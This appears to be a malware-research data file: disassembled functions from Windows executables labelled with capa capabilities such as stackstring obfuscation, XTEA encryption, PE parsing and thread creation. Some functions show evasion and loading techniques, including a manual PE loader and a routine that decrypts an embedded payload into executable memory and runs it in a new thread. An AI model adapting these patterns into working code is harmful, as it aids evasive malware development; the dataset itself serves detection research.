joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001130
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x18000d040]
xor rax, rsp
mov qword [rsp + 0x68], rax
cmp byte [rcx], 0
mov rbx, rcx
je 0x180001162
mov al, 1
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.180002dc0
add rsp, 0x70
pop rbx
ret
call fcn.180001000
lea r9, str.35AB667E_547F_4433_916C_563F040AF5F9
lea r8, str.67BF35A6_D2D2_405E_8B54_3AE8D65F96DD
lea rcx, [0x18000e0c8]
xor edx, edx
call fcn.180001eb0
test al, al
jne 0x18000119a
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.180002dc0
add rsp, 0x70
pop rbx
ret
mov dword [rsp + 0x20], 1
mov eax, dword [rsp + 0x20]
test eax, eax
je 0x1800011bc
mov ecx, 3
call fcn.180002e20
mov rcx, rax
call fcn.180002de0
lea rdx, [rsp + 0x50]
lea rcx, [0x18000e0c8]
mov byte [rsp + 0x50], 0x57
mov byte [rsp + 0x51], 0x53
mov byte [rsp + 0x52], 0x50
mov byte [rsp + 0x53], 0x53
mov byte [rsp + 0x5a], 0
mov byte [rsp + 0x54], 0x74
mov byte [rsp + 0x55], 0x61
mov byte [rsp + 0x56], 0x72
mov byte [rsp + 0x5f], 0x42
mov byte [rsp + 0x5c], 0x4e
mov byte [rsp + 0x57], 0x74
mov byte [rsp + 0x58], 0x75
mov byte [rsp + 0x5e], 0x53
mov byte [rsp + 0x5d], 0x68
mov byte [rsp + 0x61], 0x78
mov byte [rsp + 0x59], 0x70
mov byte [rsp + 0x5b], 0x45
mov byte [rsp + 0x62], 0x48
call fcn.180002270
lea rdx, str.ae703de8
lea rcx, [0x18000e0c8]
mov qword [0x18000e0a0], rax
call fcn.180002270
lea rdx, str.d15aba3f
lea rcx, [0x18000e0c8]
mov qword [0x18000e0a8], rax
call fcn.180002270
lea rdx, [rsp + 0x28]
lea rcx, [0x18000e0c8]
mov byte [rsp + 0x28], 0x41
mov byte [rsp + 0x29], 0x75
mov qword [0x18000e0b0], rax
mov byte [rsp + 0x2a], 0x74
mov byte [rsp + 0x2b], 0x68
mov byte [rsp + 0x2c], 0x65
mov byte [rsp + 0x2d], 0x6e
mov byte [rsp + 0x2e], 0x74
mov byte [rsp + 0x45], 0x4e
mov byte [rsp + 0x2f], 0x69
mov byte [rsp + 0x30], 0x63
mov byte [rsp + 0x31], 0x61
mov byte [rsp + 0x32], 0x74
mov byte [rsp + 0x33], 0x65
mov byte [rsp + 0x34], 0x4c
mov byte [rsp + 0x35], 0x69
mov byte [rsp + 0x36], 0x63
mov byte [rsp + 0x37], 0x65
mov byte [rsp + 0x3e], 0x47
mov byte [rsp + 0x40], 0x6a
mov byte [rsp + 0x38], 0x6e
mov byte [rsp + 0x42], 0x6a
mov byte [rsp + 0x39], 0x73
mov byte [rsp + 0x3d], 0x47
mov byte [rsp + 0x3f], 0x69
mov byte [rsp + 0x3c], 0x6c
mov byte [rsp + 0x3a], 0x65
mov byte [rsp + 0x41], 0x58
mov byte [rsp + 0x43], 0x43
mov byte [rsp + 0x3b], 0
call fcn.180002270
cmp qword [0x18000e0a0], 0
mov r11, rax
mov qword [0x18000e0b8], rax
mov al, 1
je 0x180001333
cmp qword [0x18000e0a8], 0
je 0x180001333
cmp qword [0x18000e0b0], 0
je 0x180001333
test r11, r11
jne 0x180001335
xor al, al
mov byte [rbx], al
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.180002dc0
add rsp, 0x70
pop rbx
ret
Function at 0x180001af0
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push rsi
mov r11d, dword [rdx]
mov r10d, ecx
mov rsi, r8
mov r8d, dword [rdx + 4]
mov r9, rdx
imul r10d, r10d, 0x9e3779b9
test ecx, ecx
je 0x180001b88
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
mov edi, ecx
mov ebx, r10d
nop dword [rax]
shr rbx, 0xb
mov eax, r11d
mov ecx, r11d
shl eax, 4
shr ecx, 5
and ebx, 3
xor ecx, eax
mov eax, dword [rsi + rbx*4]
add eax, r10d
add ecx, r11d
add r10d, 0x61c88647
xor ecx, eax
mov ebx, r10d
sub r8d, ecx
mov eax, r8d
mov edx, r8d
shr edx, 5
shl eax, 4
xor edx, eax
mov eax, r10d
and eax, 3
add edx, r8d
mov ecx, dword [rsi + rax*4]
add ecx, r10d
xor edx, ecx
sub r11d, edx
sub rdi, 1
jne 0x180001b20
mov rdi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x10]
mov dword [r9], r11d
mov dword [r9 + 4], r8d
pop rsi
ret
mov dword [rdx], r11d
mov dword [rdx + 4], r8d
pop rsi
ret

Function at 0x180001d20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x80
mov rax, qword [0x18000d040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rsi, rcx
lea rcx, [rsp + 0x58]
mov rdi, r9
mov r12, r8
mov rbp, rdx
mov byte [rsp + 0x58], 0x6e
mov byte [rsp + 0x59], 0x74
mov byte [rsp + 0x6a], 0x46
mov byte [rsp + 0x5a], 0x64
mov byte [rsp + 0x5b], 0x6c
mov byte [rsp + 0x5c], 0x6c
mov byte [rsp + 0x67], 0x79
mov byte [rsp + 0x5d], 0x2e
mov byte [rsp + 0x5e], 0x64
mov byte [rsp + 0x6b], 0x42
mov byte [rsp + 0x61], 0
mov byte [rsp + 0x64], 0x6f
mov byte [rsp + 0x5f], 0x6c
mov byte [rsp + 0x66], 0x4c
mov byte [rsp + 0x63], 0x55
mov byte [rsp + 0x65], 0x75
mov byte [rsp + 0x60], 0x6c
mov byte [rsp + 0x62], 0x43
mov byte [rsp + 0x69], 0x52
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x180001e67
lea rdx, [rsp + 0x30]
mov rcx, rax
mov byte [rsp + 0x30], 0x52
mov byte [rsp + 0x31], 0x74
mov byte [rsp + 0x32], 0x6c
mov byte [rsp + 0x33], 0x44
mov byte [rsp + 0x34], 0x65
mov byte [rsp + 0x35], 0x63
mov byte [rsp + 0x36], 0x6f
mov byte [rsp + 0x37], 0x6d
mov byte [rsp + 0x38], 0x70
mov byte [rsp + 0x39], 0x72
mov byte [rsp + 0x3a], 0x65
mov byte [rsp + 0x3b], 0x73
mov byte [rsp + 0x43], 0
mov byte [rsp + 0x3c], 0x73
mov byte [rsp + 0x47], 0x61
mov byte [rsp + 0x3d], 0x42
mov byte [rsp + 0x3e], 0x75
mov byte [rsp + 0x4c], 0x41
mov byte [rsp + 0x48], 0x48
mov byte [rsp + 0x4a], 0x61
mov byte [rsp + 0x3f], 0x66
mov byte [rsp + 0x49], 0x58
mov byte [rsp + 0x4b], 0x75
mov byte [rsp + 0x40], 0x66
mov byte [rsp + 0x41], 0x65
mov byte [rsp + 0x46], 0x71
mov byte [rsp + 0x42], 0x72
mov byte [rsp + 0x44], 0x4e
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x180001e6b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x180001e8e
mov r8d, dword [rdi]
mov ecx, 2
mov r9, rsi
mov rdx, rbp
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], r12d
call rax
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180002dc0
add rsp, 0x80
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180002ab0
Capabilities:
Parse pe header

Disassembly:
push r12
push r13
sub rsp, 0x28
mov r12, qword [rcx + 0x40]
mov eax, 0x5a4d
mov r13, rcx
cmp word [r12], ax
jne 0x180002ca8
mov qword [rsp + 0x50], rsi
movsxd rsi, dword [r12 + 0x3c]
add rsi, r12
cmp dword [rsi], 0x4550
jne 0x180002ca3
mov eax, 0x14c
cmp word [rsi + 4], ax
je 0x180002ca3
mov edx, dword [rsi + 0x50]
mov rcx, qword [rsi + 0x30]
mov r9d, 4
mov r8d, 0x3000
mov qword [rsp + 0x48], rbp
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
jne 0x180002b3e
mov edx, dword [rsi + 0x50]
lea r9d, [rax + 4]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
je 0x180002c9e
mov qword [rsp + 0x58], rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
lea r8d, [rdx + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x180002b76
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x180002c99
mov qword [rax + 8], rbp
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x20], r14
xor r14d, r14d
mov r8d, 0x1000
mov rcx, rbp
mov dword [rax + 0x18], r14d
mov qword [rax + 0x10], r14
mov dword [rax + 0x1c], r14d
movzx eax, word [rsi + 0x16]
lea r9d, [r14 + 4]
shr eax, 0xd
and eax, 1
mov dword [rdi + 0x20], eax
mov rax, qword [r13 + 0x30]
mov qword [rdi + 0x28], rax
mov rax, qword [r13 + 0x20]
mov qword [rdi + 0x30], rax
mov rax, qword [r13 + 0x10]
mov qword [rdi + 0x38], rax
mov rax, qword [r13]
mov qword [rdi + 0x40], rax
mov edx, dword [rsi + 0x54]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsi + 0x54]
mov rdx, r12
mov rcx, rax
mov rbx, rax
call fcn.180002ef0
movsxd rax, dword [r12 + 0x3c]
mov r8, rdi
add rax, rbx
mov rdx, rsi
mov qword [rdi], rax
mov qword [rax + 0x30], rbp
mov rcx, qword [r13 + 0x40]
call fcn.180002300
mov rbx, qword [rsp + 0x40]
mov rdx, rbp
sub rdx, qword [rsi + 0x30]
je 0x180002c21
mov rcx, rdi
call fcn.1800025c0
mov dword [rdi + 0x24], eax
jmp 0x180002c28
mov dword [rdi + 0x24], 1
mov rcx, rdi
call fcn.1800026f0
test eax, eax
je 0x180002c8c
mov rcx, rdi
call fcn.180002450
mov rcx, rdi
call fcn.180002560
mov r11, qword [rdi]
mov eax, dword [r11 + 0x28]
test eax, eax
je 0x180002c82
cmp dword [rdi + 0x20], r14d
je 0x180002c75
xor r8d, r8d
add rax, rbp
mov rcx, rbp
lea edx, [r8 + 1]
call rax
test eax, eax
je 0x180002c8c
mov dword [rdi + 0x1c], 1
mov qword [r13 + 0x50], rdi
jmp 0x180002c94
add rax, rbp
mov qword [rdi + 0x48], rax
mov qword [r13 + 0x50], rdi
jmp 0x180002c94
mov qword [rdi + 0x48], r14
mov qword [r13 + 0x50], rdi
jmp 0x180002c94
mov rcx, rdi
call fcn.1800029f0
mov r14, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x28
pop r13
pop r12
ret
Function at 0x18000421f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18000d040]
jne 0x180002dda
rol rcx, 0x10
test cx, 0xffff
jne 0x180002dd6
repz ret
ror rcx, 0x10
jmp 0x180004178
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18000e1b0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x18000e2a8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1800041fd
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18000e1b0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18000421f
mov rax, qword [rsp + 0x88]
mov qword [0x18000e2a8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18000e248], rax
mov rax, qword [0x18000e2a8]
mov qword [0x18000e120], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18000e230], rax
mov dword [0x18000e110], 0xc0000409
mov dword [0x18000e114], 1
mov rax, qword [0x18000d040]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18000d048]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18000e1a8], eax
mov ecx, 1
call fcn.180006d40
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180009338]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18000e1a8], 0
jne 0x1800042a6
mov ecx, 1
call fcn.180006d40
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x1800046e0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x180004554
Function at 0x18000716c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.180003de0
xor ebx, ebx
mov rdi, rax
cmp qword [0x18000ee00], rbx
jne 0x180007272
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x180007347
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180007347
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x18000ee00], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x18000ee08], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x18000ee10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x18000ee20], rax
test rax, rax
je 0x180007269
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x18000ee18], rax
jmp 0x180007279
mov rax, qword [0x18000ee18]
jmp 0x180007280
mov rax, qword [0x18000ee18]
mov r11, qword [0x18000ee20]
cmp rax, rdi
je 0x1800072e8
cmp r11, rdi
je 0x1800072e8
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x18000ee20]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x1800072e8
test rax, rax
je 0x1800072e8
call rsi
test rax, rax
je 0x1800072e2
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1800072e2
test byte [rsp + 0x38], 1
jne 0x1800072e8
bts ebp, 0x15
jmp 0x180007326
mov rcx, qword [0x18000ee08]
cmp rcx, rdi
je 0x180007326
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x180007326
call rax
mov rbx, rax
test rax, rax
je 0x180007326
mov rcx, qword [0x18000ee10]
cmp rcx, rdi
je 0x180007326
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x180007326
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x18000ee00]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x180007347
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x180007349
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x2f2b01573
Capabilities:
Create thread

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x240
lea rbp, [rsp + 0x80]
mov r9d, 0
lea r8, str.cyber_web_academy
lea rax, str.Buonasera_
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
movabs rax, 0xa18f582106e87719
movabs rdx, 0x97aa123140fccfef
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], rdx
lea rax, [rbp - 0x40]
lea rdx, [0x2f2b09150]
mov ecx, 0x3a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov dword [rbp + 0x1bc], 0x1d0
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x1d0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1b0], rax
cmp qword [rbp + 0x1b0], 0
jne 0x2f2b01643
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Allocate_memory___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x2f2b0177a
lea rcx, [rbp + 0x190]
mov edx, dword [rbp + 0x1bc]
lea rax, [rbp - 0x40]
mov r9d, 0x10
mov r8, rcx
mov rcx, rax
call sym.DecryptAES_char__unsigned_long__char__unsigned_long_
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1b0]
mov r8d, 0x1d0
mov rcx, rax
call sym.memmove
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0x1b0]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x1d0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x2f2b016d0
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_change_memory_protection___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffe
jmp 0x2f2b0177a
mov rax, qword [rbp + 0x1b0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x1a8], rax
cmp qword [rbp + 0x1a8], 0
jne 0x2f2b01736
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Create_the_thread___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffd
jmp 0x2f2b0177a
mov rax, qword [rbp + 0x1b0]
mov rdx, rax
lea rax, str._n_nalloc_mem_:__p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x1a8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
call sym.getchar
mov rax, qword [rbp + 0x1b0]
call rax
mov eax, 0
add rsp, 0x240
pop rsi
pop rdi
pop rbp
ret

Function at 0x2f2b01930
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x2f2b019a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x2f2b0c064]
mov rbx, rcx
test esi, esi
jle 0x2f2b01ad0
mov rax, qword [0x2f2b0c068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x2f2b019eb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x2f2b01a75
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x2f2b019d0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x2f2b01af2
mov rax, qword [0x2f2b0c068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x2f2b0c068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2f2b01ad7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x2f2b01a6e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2f2b01a80
add dword [0x2f2b0c064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x2f2b0c068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2f2b01a6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x2f2b019f8
mov rax, qword [0x2f2b0c068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x2f2b01e70
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x2f2b0c0a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x2f2b0c080]
test rbx, rbx
je 0x2f2b01ecc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x2f2b01ec3
test rsi, rsi
je 0x2f2b01ec3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2f2b01ea8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x2f2b020e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x2f2b020f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x2f2b02100
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x2f2b02110
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x2f2b0215d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x2f2b02154
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x2f2b0215f
add rax, 0x28
cmp rax, r9
jne 0x2f2b02140
xor eax, eax
ret

Function at 0x2f2b02160
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x2f2b021f0
mov rdx, qword [0x2f2b098b0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x2f2b021de
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x2f2b021de
cmp word [rax + 0x18], 0x20b
jne 0x2f2b021de
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x2f2b021f0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x2f2b021c9
add rbx, 0x28
cmp rbx, rdi
je 0x2f2b021f0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x2f2b021c0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x2f2b02200
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2f2b098b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2f2b02220
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2f2b02228
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2f2b02220
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x2f2b0227d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x2f2b02274
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x2f2b02220
add rax, 0x28
cmp rax, r9
jne 0x2f2b02260
xor eax, eax
ret

Function at 0x2f2b02280
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2f2b098b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x2f2b0229f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2f2b022a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x2f2b0229f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x2f2b022c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x2f2b098b0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x2f2b022e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x2f2b022e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x2f2b022e0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x2f2b02330
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x2f2b02327
test rcx, rcx
je 0x2f2b022e0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x2f2b02318
xor eax, eax
ret
Function at 0x2f2b02340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2f2b098b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x2f2b0235f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x2f2b02368
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x2f2b02380
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2f2b098b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2f2b023a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2f2b023a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2f2b023a0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x2f2b023a0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x2f2b023f4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x2f2b02400
add rdx, 0x28
cmp r9, rdx
jne 0x2f2b023e0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x2f2b02410
